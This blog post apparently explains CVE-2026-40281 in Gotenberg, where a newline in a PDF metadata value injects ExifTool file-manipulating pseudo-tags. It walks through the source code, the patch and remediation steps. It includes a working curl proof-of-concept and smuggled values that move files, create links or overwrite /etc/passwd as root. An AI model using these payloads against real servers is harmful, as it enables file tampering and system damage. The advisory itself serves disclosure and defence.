DEV Community

GUIDANCE WHITE
GUIDANCE WHITE

Posted on

CVE-2026-40281 Explained: A Patch That Guarded "=" on One Side Only

Overview

Item Detail
CVE ID CVE-2026-40281
Affected product Gotenberg (Docker-powered PDF conversion API, thecodingmachine/gotenberg)
Affected versions 8.30.1 and earlier
Fixed in 8.31.0
CVSS 3.1 10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Type CWE-88 (Argument Injection), CWE-20 (Improper Input Validation)
Authentication required None
Reported by morimori-dev, via a Gotenberg GitHub Security Advisory
Note A bypass of the "incomplete fix" shipped in v8.30.1

Gotenberg is a Docker-based API server that converts HTML and Office documents into PDFs. It can also write metadata — title, author, and so on — into the generated PDF, and the actual write is handled internally by an external program called ExifTool.

The story here is that a prior fix only closed half the door. The earlier reported issue was that a newline inside a metadata key could inject arbitrary arguments into ExifTool, so Gotenberg added a regex check on keys. But metadata is a key/value pair, and the attacker controls both sides — not just the key. The patch validated only the left side of = (the key); the right side (the value) kept flowing to ExifTool completely unchecked.

As a result, the exact same class of argument injection became possible again — just by putting a newline in the value instead. An unauthenticated attacker can move or overwrite arbitrary files inside the Gotenberg container, or create symlinks/hardlinks at paths of their choosing, all as root.


Where the flaw lives — the metadata write pipeline

Here's how Gotenberg handles a PDF metadata write:

  1. A client sends a PDF file plus JSON metadata (e.g., {"Title": "..."}) to /forms/pdfengines/metadata/write.
  2. Gotenberg passes that metadata to WriteMetadata() in pkg/modules/exiftool/exiftool.go.
  3. WriteMetadata() hands each key/value pair to SetString() in the go-exiftool library, which writes it, line by line, to the standard input (stdin) of a running ExifTool process.
// barasher/go-exiftool
fmt.Fprintln(e.stdin, "-"+k+"="+str)
Enter fullscreen mode Exit fullscreen mode

ExifTool is a command-line tool, but instead of launching fresh for every request, Gotenberg keeps one process running and feeds it commands over stdin (-stay_open mode). In this design, every line written to stdin is effectively one command-line argument. So if that one line secretly contains another newline, it creates an unintended "second argument."


Step-by-step source analysis

Step 1 — the v8.30.1 patch validates the key, and only the key

In response to an earlier-reported flaw (injecting arguments via a newline in the metadata key, tracked as CVE-2026-42589), Gotenberg 8.30.1 added this key-validation logic:

// pkg/modules/exiftool/exiftool.go — WriteMetadata()
// key validation added in v8.30.1 (commit 405f106)
for key := range metadata {
    if !safeKeyPattern.MatchString(key) {
        return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
    }
}
Enter fullscreen mode Exit fullscreen mode

safeKeyPattern is a regex that only allows safe characters like alphanumerics, blocking newlines or = from sneaking into a key. This part works exactly as intended.

Step 2 — the value sails straight through to ExifTool, unchecked

The problem is the very next step. Once a key clears validation, its value is handed to SetString() with no check at all.

// the value passes through with no validation
case string:
    fileMetadata[0].SetString(key, val)  // val can contain anything
Enter fullscreen mode Exit fullscreen mode

go-exiftool's WriteMetadata() takes this key/value pair and writes it as one line to ExifTool's stdin:

fmt.Fprintln(e.stdin, "-"+k+"="+str)
Enter fullscreen mode Exit fullscreen mode

k (the key) just passed validation, so it's safe. Nobody checks what's inside str (the value).

Step 3 — a newline in the value splits one stdin line into two (the root cause)

fmt.Fprintln appends a newline after the string it's given — it does nothing to stop a newline that's already inside that string. So if str itself contains \n, ExifTool's stdin receives two lines instead of the intended one.

For example, send this as the Title metadata value:

Title = "test\n-FileName=/tmp/inject_proof"
Enter fullscreen mode Exit fullscreen mode

and ExifTool's stdin actually receives:

-Title=test
-FileName=/tmp/inject_proof
Enter fullscreen mode Exit fullscreen mode

To ExifTool, this isn't "set Title to test" — it's two entirely separate commands, the second being -FileName=/tmp/inject_proof. -FileName, -Directory, -SymLink, and -HardLink are ExifTool "pseudo-tags" — they don't write metadata, they manipulate the filesystem directly. An attacker can inject any of these pseudo-tags through the value — and notably, these are exactly the tags the key validation was meant to block. The v8.30.1 patch checked only the left side of =; the attacker reproduces the same outcome through the right side.

Step 4 — direct filesystem manipulation inside the container, as root

Inside the Gotenberg container, ExifTool runs as root by default. Since the injected pseudo-tag applies directly to the PDF currently being processed, an attacker gains:

# 1) Move the PDF being processed to an arbitrary path inside the container
curl -s -w "\nHTTP %{http_code}" \
  -F 'files=@test.pdf;type=application/pdf' \
  -F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
  http://target:3000/forms/pdfengines/metadata/write
# → HTTP 404 (file vanished from the temp path = the move succeeded)

docker exec gotenberg-test ls -la /tmp/inject_proof
# -rw-r--r-- 1 root root ... /tmp/inject_proof  (the PDF landed here)
Enter fullscreen mode Exit fullscreen mode

Combining -Directory and -FileName can overwrite an arbitrary system file:

Title = "test\n-Directory=/etc/\n-FileName=passwd"
Enter fullscreen mode Exit fullscreen mode

Here, ExifTool moves the entire PDF being processed to /etc/passwd, clobbering the system's user database with a PDF binary.

-SymLink creates a symlink at an arbitrary path, which can become a stepping stone for chaining into other read/write primitives:

Title = "test\n-SymLink=/tmp/sym_inject"
Enter fullscreen mode Exit fullscreen mode
docker exec gotenberg-test ls -la /tmp/sym_inject
# lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdf
Enter fullscreen mode Exit fullscreen mode

-HardLink creates a hard link, which can keep data around even after Gotenberg cleans up its temp directory.

The HTTP response itself comes back as an ordinary 200 (a valid PDF returned) or 404 (the file vanished mid-processing), so on the surface it just looks like a routine processing failure — easy to miss with basic monitoring.


The patch — apply the same validation to values

Gotenberg 8.31.0 extends the safeKeyPattern check — previously applied to keys only — to values as well, rejecting any value that contains a newline or other control character.

for key, value := range metadata {
    if !safeKeyPattern.MatchString(key) {
        return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
    }
    if str, ok := value.(string); ok {
        if strings.ContainsAny(str, "\n\r\x00") {
            return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

The lesson is straightforward. Any code that hands key=value pairs to an external process has to assume both sides of = are attacker-controlled. A fix that validates one side and assumes "the rest must be safe" leaves the door open. This is especially worth flagging in code review for any long-running, stay-open process fed commands over stdin: the moment a newline slips into a string you're writing there, it becomes "a brand new command line" on its own.


Remediation

  • Update Gotenberg to 8.31.0 or later immediately.
  • If an immediate update isn't possible, block the metadata-write endpoint (/forms/pdfengines/metadata/write) at a reverse proxy or WAF, or add a temporary rule rejecting requests whose metadata values contain newlines or control characters.
  • Running the Gotenberg container as a non-root user limits the blast radius of the same class of bug to whatever paths that user can write to, even if a similar flaw resurfaces.
  • If exposure is possible, check the container for unexpected file moves, symlinks, or overwrites — especially under /etc/ and /tmp/ — and recreate any container that may have been affected.

Top comments (0)